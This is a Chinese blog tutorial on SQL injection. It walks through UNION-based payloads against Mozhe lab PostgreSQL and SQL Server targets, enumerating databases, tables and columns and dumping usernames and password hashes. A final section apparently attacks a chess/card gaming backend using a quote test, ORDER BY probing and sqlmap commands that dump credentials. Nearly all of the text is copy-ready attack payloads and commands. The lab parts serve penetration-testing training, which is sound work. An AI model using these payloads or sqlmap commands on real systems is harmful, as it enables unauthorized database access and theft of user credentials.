SQL注入&PostgreSQL&SQLserver&实战

1,245 阅读6分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

知识点:

SQL注入-PostgreSQL数据库

详细点:

Access无高权限注入点-只能猜解,还是暴力猜解

MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等

墨者PostgreSQL数据注入

流程还是一样的

首先是判断是否有注入点

and 1=2

在这里插入图片描述

报错性异常回显

存在注入点

在这里插入图片描述

字段判断

order by 4

当我们判断字段为5的时候异常回显了

所有我们判断他的字段有四个

在这里插入图片描述

那么我们这个PostgreSQL数据库注入就有一点不一样了

下面是进行位置回显注入判断

我们之前用的是

union select 1,2,3,4

但是我们PostgreSQL数据库的就不一样了

他用的是

union select ‘null’,null,null,null

这个判断他是那个位置回显的标准是单引号在那个null后面

判断回显位置是1

and 1=2 union select 'null',null,null,null     不正常

在这里插入图片描述

判断回显位置是2

and 1=2 union select null,'null',null,null 正常

在这里插入图片描述

判断回显位置是3

and 1=2 union select null,null,'null',null 正常

在这里插入图片描述

判断回显位置是4

and 1=2union select null,null,null,'null' 不正常

在这里插入图片描述

那么注入的位置就是

2和3的

位置

那么我们下面就是获取库名

version()获取数据库版本

and 1=2 UNION SELECT null,version(),null,null

current_user获取当前用户

and 1=2 UNION SELECT null,current_user,null,null

current_database()获取数据库名

and 1=2 union select null,current_database(),null,null

获取数据库名

and 1=2 union select null,current_database(),null,null

在这里插入图片描述

mozhedvcms

获取所有的数据库名

在Postgresql中他是获取所有数据库名的意思

string_agg(datname,',')

',' 两个单引号中间一个逗号表示 数据库和数据库之间用逗号隔开来区分

去哪里获取

去pg_database

and 1=2 union select null,string_agg(datname,','),null,null from pg_database

在这里插入图片描述

template1,template0,postgres,mozhedvcms

获取所有表名

and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'

在这里插入图片描述

and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

在这里插入图片描述

获取列名

 and 1=2 union select null,string_agg(column_name,','),null,null from
 information_schema.columns where table_name='表名'
and 1=2 union select null,string_agg(column_name,','),null,null from
information_schema.columns where table_name='reg_users'

在这里插入图片描述

获取数据

and 1=2 union select null,string_agg(列名,','),string_agg(列名,','),null from 表名
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

在这里插入图片描述

mozhe2,mozhe1

1c63129ae9db9c60c3e8aa94d3e00495

50409e60d1dd94a86204cd153b01689d

获取超级用户

and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE

超级用户之读取文件

参考:www.freebuf.com/sectool/249…

墨者SQLserver数据库注入

在我们SQLserver中啊最高权限是sa

sa

判断是否有注入点

 and 1=2

在这里插入图片描述

当出现这样无法判断是否存在注入点

我们就之间跳过

来到判断回显位置

order by 4

在这里插入图片描述

4是正常的

5是报错的

说明有四个字段

下面就是测试回显位

and 1=2 union all select null,1,null,null

在这里插入图片描述

and 1=2 union all select null,null,'1',null

在这里插入图片描述

加单元格和不加都单引号都可以测出

但是两个方法都要用到

因为加单引号可以测出一部分不加单引号也可以测出一部分那么连个都用到获得的回显位就多了

@@version 获取版本信息

and 1=2 union all select null,null,@@version,null

db_name() 当前数据库名字

 and 1=2 union all select null,null,db_name(),null

在这里插入图片描述

获取当前用户

user、system_user,current_user,user_name 获取当前用户名

and 1=2 union all select null,null,user,null --获取当前用户

and 1=2 union all select null,null,system_user,null

and 1=2 union all select null,null,current_user,,null --当前用户

and 1=2 union all select null,null,user_name,null

@@SERVERNAME 获取服务器主机信息

and 1=2 union all select null,db_name(),null,null

获取表名

and 1=2  union all select null,(select top 1 name from 库名.当前用户.sysobjects where xtype='u'),null,null
union all select null,(select top 1 name from 库名.当前用户.sysobjects where xtype='u' and name not in ('表名')),null,null

最这个表名在这个语句的意思是除了这个表名获取其他的表名

and 1=2  union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null

在这里插入图片描述

manage

获取其他表名

 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

在这里插入图片描述

announcement

如果你觉得还要其他的表

就按照这方法去添加以知表名

and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),null,null

在这里插入图片描述

没有其他表了

获取列名

and 1=2 union all select null,(select top 1 col_name(object_id('表名'),1) from sysobjects),null,null

表示这个表的第一个列名

and 1=2 union all select null,(select top 1 col_name(object_id('表名'),2) from sysobjects),null,null

表示这个表的第二个列名

and 1=2 union all select null,(select top 1 col_name(object_id('表名'),3) from sysobjects),null,null

表示这个表的三个列名

and 1=2 union all select null,(select top 1 col_name(object_id('表'),4) from sysobjects),null,null

表示这个表的第四个列名

and 1=2  union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

在这里插入图片描述

and 1=2  union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

在这里插入图片描述

and 1=2  union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

在这里插入图片描述

and 1=2  union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

获取数据

and 1=2 union all select null,列名, 列名 ,null from 表名

and 1=2 union all select null,username, password ,null from manage

在这里插入图片描述

admin_mz

72e1bfc3f01b7583

干进棋牌系统后台

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VFnjeN30-1652524553828)(D:\小迪2022\2022\第25天:WEB攻防-通用漏洞&SQL读写注入&MYSQL&MSSQL&PostgreSQL\WEB攻防-通用漏洞&SQL读写注入&MYSQL&MSSQL&PostgreSQL.assets\image-20220219191406504.png)]

在这里插入图片描述

通过抓包工具抓包

在这里插入图片描述

首先判断他是否存在漏洞

判断是否存在漏洞

通过一个单引号判断是否存在

在这里插入图片描述

当我们输入一个单引号后

他回显给我们的是500状态

这就报错了

初步判断存在漏洞

那么我们接下来就进行字段判断

字段判断

那么我们为了以防万一

在后门加一个--+

闭合后门的sql语句

'order by 15--+

200表示没有报错

我们试试16

16就报错了

说明字段为15个

在这里插入图片描述

现在以知字段了

下面就是回显位置了

回显位

'union select null,'null',null,null,null,null,null,null,null,null,null,null,null,null,null

第二个位置可以

第三个位置也可以

在这里插入图片描述

第七个也可以

在这里插入图片描述

第九也可以

在这里插入图片描述

第十二也可以

在这里插入图片描述

第十五也可以 在这里插入图片描述

2 3 7 9 12 15

这些都可以

那么下面就进行猜库名

基本就和上面一样的了

那么我就懒

直接上工具

把数据库复制到1.txt中

在这里插入图片描述

在注入的位置加上*星号

表示在这里进行注入

在这里插入图片描述

在这里插入图片描述

python sqlmap.py -r 1.txt

-r是星号专用制定渗透位置的

必须要-r

在这里插入图片描述

发现了注入的漏洞

列举他所有数据库

爆库

python sqlmap.py -r 1.txt --dbs

在这里插入图片描述

python sqlmap.py -r 1.txt --current-db

暴力破解表

python sqlmap.py -r 1.txt --tables -D "库名"

要大写D

爆列

python sqlmap.py -r 1.txt --columns -T "表名" -D "库名"

要大写T

爆数据

python sqlmap.py -r 1.txt --dump -C "username字段,password字段" -T "表名" -D "库名"
就搞到这了